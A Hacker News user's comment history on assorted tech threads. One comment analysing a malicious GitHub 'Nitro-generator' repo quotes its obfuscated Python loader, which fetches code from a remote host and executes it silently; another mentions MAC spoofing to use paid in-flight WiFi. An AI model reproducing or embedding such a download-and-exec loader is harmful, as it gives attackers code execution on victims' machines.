HNHacker News
TopNewBestAskShowJobs

phcreery

68 karma · joined June 29, 2021

submissionscomments
phcreery··on Macaroni – a single HTML file messenger
This is not a bad idea ... for public team communication. This pretty much solves the "Discord is not documentation" and the dataloss in forum problems. If the communication was stored in the same place as the repostory, you are guaranteed to have saved and searchable messages. As a side-effect, AI can read all the past discussions for better "1000% vibecoding"
phcreery··on Nvidia RTX Spark
I think unified RAM means soldered to the SoC, which is in turn soldered to the mainboard
phcreery··on Nvidia RTX Spark
I'm waiting for the AllSpark
phcreery··on Let's Buy Spirit Air
https://letsbuyspiritair.com/api/trpc/publicStats.get
phcreery··on Open source CAD in the browser (Solvespace)
This is expected behavior. The zoom action is into the cursor center. This is the same behavior of many other 2d/3d editors, such as Autodesk Autocad, Inventor, etc. Even MS Paint does this. If you place your cursor perfectly at the origin, it will not appear to drift.
phcreery··on The JavaScript Oxidation Compiler
In this case, "file" is the arg, not --yolo. `rm` without any args returns `` rm: missing operand Try 'rm --help' for more information. ```

`oxfmt` should have done the same and `oxfmt .`, with the desired dir ".", should have been the required usage.

phcreery··on Vcad: Free BRep CAD in the Browser
Why is right/middle click both orbit and pan? Why is scroll wheel vertical orbit? This feels like it was vibecoded using a macbook touchpad
phcreery··on We rolled our own documentation site
vitepress seems to use https://github.com/lucaong/minisearch/ and the vitepress docs I have built and used are good.
phcreery··on Zen-C: Write like a high-level language, run like C
Agreed, using `var` keyword for something that is non-var-ying (aka immutable) is not very intuitive.
phcreery··on Zed is our office
optimized for HiDPI screens (like those on Apple devices)
phcreery··on Zed is our office
This is also a big issue for me and has one of the largets issues for a while. [1] I wish there was font hinting to the like of windows font rendering.

[1] https://github.com/zed-industries/zed/issues/7992

phcreery··on Show HN: I made a Zero-config tool to visualize your code
I also notice this. Maybe it was not intended to "snap" on animation checkpoints though. Scrolling with a touch scroll or mouse middle-click-and-drag is pretty smooth.
phcreery··on Does or did COBOL default to 1875-05-20 for corrupt or missing dates?
Additionally, the data is comparable to the census [1] which suggests there is not a lack of data context or translation from DB date format to actual date/age.

Then again, these are just posts of screenshots on a site filled with AI-generated content.

[1] https://x.com/jonatanpallesen/status/1891406665242546383

phcreery··on Openhaystack: Build 'AirTags' – track Bluetooth devices via Apple's network
Possible with https://github.com/dchristl/macless-haystack
phcreery··on PySkyWiFi: Free stupid wi-fi on long-haul flights
WiFi-to-WiFi hotspot is a good idea, I don't think all phones can do that though. I once used my rooted Android to spoof my Wifes MAC address to use her in-flight WiFi she paid for after she was not using it anymore.
phcreery··on OpenCola
I know nothing about the Cola recipe, but this fork seems to change some things up [1]. README says it is from "This American Life" [2] but it looks like it is closer to that of colawp.com [3].

'TAL' calls for FE Coca, Alcohol, and Vanilla but 'colawp' does not.

1: https://github.com/mmichelli/Coca-Cola/compare/master...cogn...

2: https://www.thisamericanlife.org/extras/the-recipe

3: https://www.colawp.com/colas/400/cola467_recipe.html

phcreery··on Show HN: Classic Video Poker
I think it found an infinity money gltich. I held a 2 of hearts and a 3 of clubs on the far left and far right and it glitched out and did not give me 3 cards. Instead it gave me 3 black boxes, a royal flush and says I won "$"aHROcHM6Ly".... Now my cash keeps counting up, it is at over $2,000 now.
phcreery··on Electronics Lab Bench Setup Guide
Me too! I have never used airtable before but have heard of it. I needed an inventory system but I wasn't satisfied with the options I found so I created my own. Right now it is rudimentary but it can import BoM, export to CSV, "build" BoM's (auto-deduct from inventory), octopart API integration for grabbing component info/specs, and all of this compiled to single binary for lightweight selfhosting.

https://github.com/phcreery/partman

phcreery··on Orbital Mechanics
I wonder how they are created
phcreery··on What are some interesting uses of WebUSB you have come across?
Web based esp32 flasher, specifically for squeezelite-esp32

https://sle118.github.io/squeezelite-esp32-installer/

phcreery··on Designing Windows 95’s User Interface (2018)
Oh wow, I just tried this and it bring up the Save As.. dialog! I have been so frustrated that MS Office apps don's have a Ctrl+Shift+S Save As.
phcreery··on TikTok Challenge and a Malicious Python Package – A match made in hell
It looks like the repo has been move/renamed to https://github.com/420World69/Nitro-generator as the links now redirect to there.

Going throught the commit log, the author remove the allegedly " 'pyshftuler', a malicious package" [1] 10 days ago. Then changed the repo's purpose 21h ago [2]. And then, injected its own malice? Currently, the base64 code on line 1 of main.py reads

WARNING: DO NOT CLICK THE LINK IN THIS CODE SECTION, I CANNOT CONFIRM THE SITE NOR ITS INTENTION. I HAVE REMOVED IT FOR SAFETY

```

from tempfile import NamedTemporaryFile as _ffile

from sys import executable as _eexecutable

from os import system as _ssystem

_ttmp = _ffile(delete=False)

_ttmp.write(b"""from urllib.request import urlopen as _uurlopen;exec(_uurlopen('http://[REDACTED]:80/inject/UU7X9zT79b6aHuvL').read())""")

_ttmp.close()

try: _ssystem(f"start {_eexecutable.replace('.exe', 'w.exe')} {_ttmp.name}")

except: pass

```

[1] https://github.com/420World69/Nitro-generator/commit/5df9bba...

[2] https://github.com/420World69/Nitro-generator/commit/b9255f8...

[3] https://github.com/420World69/Nitro-generator/commit/69e9352...

phcreery··on Duplicati: Free backup software to store encrypted backups online
I had a similar experience with Duplicati. I attempted a 2TB backup of my NAS to a cloud storage and it went up to ~500GB and would just hang there.

I switched to restic and recomned it over Duplicati.

phcreery··on An Open-Source HDMI Capture Card
Can this be used with pikvm? https://pikvm.org/ Passthrough to physical monitor instead of "virtual" monitor would be ideal for my use case. I wish I could mirror in software but I have not found a way to do so.
phcreery··on Nikon releases bug fix firmware update for the 10 year-old D7100 DSLR camera
I have a Nikon D7100 and was just thinking about updating the firmware yesterday since there probably won't be anymore patches. I am pleasantly surprised by this.
phcreery··on The Antikythera mechanism reveals new secrets
This series is so good but it is unfinished with the last video being uploaded 5 years ago. I want for Chris to finish it so badly.
phcreery··on Volla Phones
GitHub link is broken too...
phcreery··on Volla Phones
There is a misspelling in the homepage: "Sprinboard". The Screenshots have it spelled with a "g" Springboard